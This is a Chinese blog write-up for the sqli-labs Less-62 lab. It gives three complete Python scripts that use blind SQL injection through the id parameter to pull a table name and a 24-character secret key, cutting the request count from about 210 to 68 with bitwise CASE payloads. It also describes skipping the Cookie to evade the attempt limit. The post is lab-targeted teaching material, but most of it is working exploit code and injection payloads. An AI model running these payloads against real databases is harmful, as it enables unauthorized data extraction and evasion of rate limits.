美文网首页
sqli-labs靶场Less-62题解(少于130次)

sqli-labs靶场Less-62题解(少于130次)

作者: Ovie | 来源:发表于2020-12-04 13:00 被阅读0次

sqli-labs靶场Less-62题目,是通过布尔注入获取一段secret key,该key存于challenges数据库的某个随机表名的表内。要求在请求次数不超过130次的情况下获取该key。

靶场搭建

直接用docker搭建:sudo docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest

二分法

该注入点是id参数,SQL语句上下文是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1,注入时用')闭合。一般思路是先获取存key的表的表名,再获取key所在的列的列名,再获取key。表名有10个字符,由大写字母和数字构成;列名为secret_4个字符,这4个字符由大写字母和数字构成;secret key为24个字符,由大小写字母和数字构成。

下面的脚本采用二分法比较ASCII码来获取数据,请求次数在210次左右。而题目要求是130次内,不过请求不带Cookie可绕过了这个限制。

#!/usr/bin/python3
# -*-coding:utf-8-*-
import requests
import string

"""
表名:10个字符。有大写字母和数字构成
列名:secret_接4个字符,这4个字符由大写字母和数字构成
secret:24个字符,由大小写字母和数字构成
"""

un_chars = string.digits + string.ascii_uppercase  # 按ASCII码从小到大排序
uln_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase  # 按ASCII码从小到大排序
url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_data(tmpl_payload, length, chars):
    global try_count
    result = ""
    for i in range(1, length + 1):
        left, right = 0, len(chars) - 1
        while left < right:
            m = (left + right) // 2  # 左中位数
            payload = tmpl_payload % (i, ord(chars[m]))
            resp = requests.get(url, params={"id": payload})
            try_count += 1  # 统计请求个数
            if "Your Login name" in resp.text:
                left = m + 1
            else:
                right = m
        result += chars[left]

    return result


table_name = extract_data(
    "1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d#",
    10, un_chars
)
print("table_name:", table_name)

column_name = "secret_" + extract_data(
    "1') and ascii(substr(substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4),%s,1))>%d#",
    4, un_chars
)
print("column_name:", column_name)

secret_key = extract_data(
    "1') and ascii(substr((select " + column_name + " from " + table_name+"),%s,1))>%d#",
    24, uln_chars
)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)

利用多状态

虽说上面可以绕过尝试次数限制,那如果就要尝试次数在130次内呢。

上面的二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False,响应里有两种状态:有查询结果和无查询结果。其实响应里存在多个状态,id为1时返回的Login nameAngelina,为2时返回的是Dummy,还有为3,为4,为5等。假如我们要判断数据库里一个字符中的N个比特是什么,我们需要2的N次方个状态,如:我们要判断某串字符串第i个字符的第j位开始的三个比特是否为:000,001,010,011,100,101,110或111,写成SQL语句就是:

SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & (2**j + 2**(j+1) + 2**(j+2))
    WHEN 0 THEN 1
    WHEN 2**j THEN 2
    WHEN 2**(j+1) THEN 3
    WHEN 2**(j+1) + 2**j THEN 4
    WHEN 2**(j+2) THEN 5
    WHEN 2**(j+2) + 2**j THEN 6
    WHEN 2**(j+2) + 2**(j+1) THEN 7
    ELSE 8
END

因为users表里的数据有13条,也就是13个状态,大于8,小于16,所以每次请求通过比较8个状态获取3个比特的数据。

一个小问题:为什么id为1时,返回的name是Angelina?而数据库里id为1的name是Dumb

因为响应中返回的name是从硬编码在PHP代码里的数组里通过下标获取的,看代码:https://github.com/Audi-1/sqli-labs/blob/886b0dcc733c1a36caf10cfba076397b9e09ce7f/Less-62/index.php#L104

通过上面的思路,编写脚本如下。请求次数减少到114次。

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
    """
    获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
    """
    global try_count

    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    info = {
        "Angelina": "000",
        "Dummy": "001",
        "secure": "010",
        "stupid": "011",
        "superman": "100",
        "batman": "101",
        "admin": "110",
        "admin1": "111"
    }

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    bits = info.get(match.group(1))
    assert bits
    return bits


def extract_data(query, length):
    res = ""
    for i in range(1, length+1):
        b3 = extract_bits(query, i, 0)  # 00000111
        b2 = extract_bits(query, i, 3)  # 00111000
        b1 = extract_bits(query, i, 5)  # 11100000
        bit = b1[:2] + b2 + b3
        res += chr(int(bit, 2))
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    column_name = "secret_" + extract_data(
        "substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
        4
    )
    print("column_name:", column_name)

    secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

再减少点次数

上面通过获取表名,再列名,再key。其实也可以不获取列名,只要知道表里有多少列,key所在的列在第几列即可,少点尝试次数。将上面main块的代码改成:

if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)   # 主要改的是这一句
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

请求次数是102次。

再减少些次数

一般MySQL的表名是区分大小写的,而在字符串比较的时候是不区分大小写的。进到docker容器里(sudo docker exec -it sqli-lab mysql)执行下面SQL语句测试下:

use security

SELECT * FROM users;  # 返回了数据
SELECT * FROM userS;  # 报错,表名不存在
SELECT * FROM users WHERE username='admin';  # 返回admin
SELECT * FROM users WHERE username='ADMIn';  # 还是可以返回admin

再看sqli-labs比较key是否正确的SQL语句(代码在这):

SELECT 1 FROM $table WHERE $col1= '$key';

所以在获取key时,可以不管字母的大小写。而对于表名,它的构成是大写字母和数字,也用不着理会它的大小写。

再看数字、大写字母、小写字母的ASCII码的二进制格式:

数字: 0011xxxx
大写: 010xxxxx
小写: 011xxxxx

在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可。

编写脚本如下:

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, bit_values: list):
    """
    获取query执行结果的第 i 个(从1开始算)字符的3个比特
    哪3个比特由bit_values指定
    """
    global try_count

    assert len(bit_values) == 8
    bit_marks = 0
    for v in bit_values:
        bit_marks |= v


    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    assert match.group(1) in infos
    bits = bit_values[infos.index(match.group(1))]
    return bits

def extract_data(query, length):
    """
    获取query查询结果的length个字符,每个字符只获取其第7位和前5位
    """
    res = ""
    for i in range(1, length+1):
        b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111])  # 00000111
        b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000])  # 01011000
        if b1 & 0b01000000 == 0:
            # 该字符为数字
            bit = b1 | b2 | 0b00100000
        else:
            # 该字符为字母
            bit = b1 | b2
        res += chr(bit)
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)


请求次数是68次。

相关文章

网友评论

      本文标题:sqli-labs靶场Less-62题解(少于130次)

      本文链接:https://www.haomeiwen.com/subject/ohabwktx.html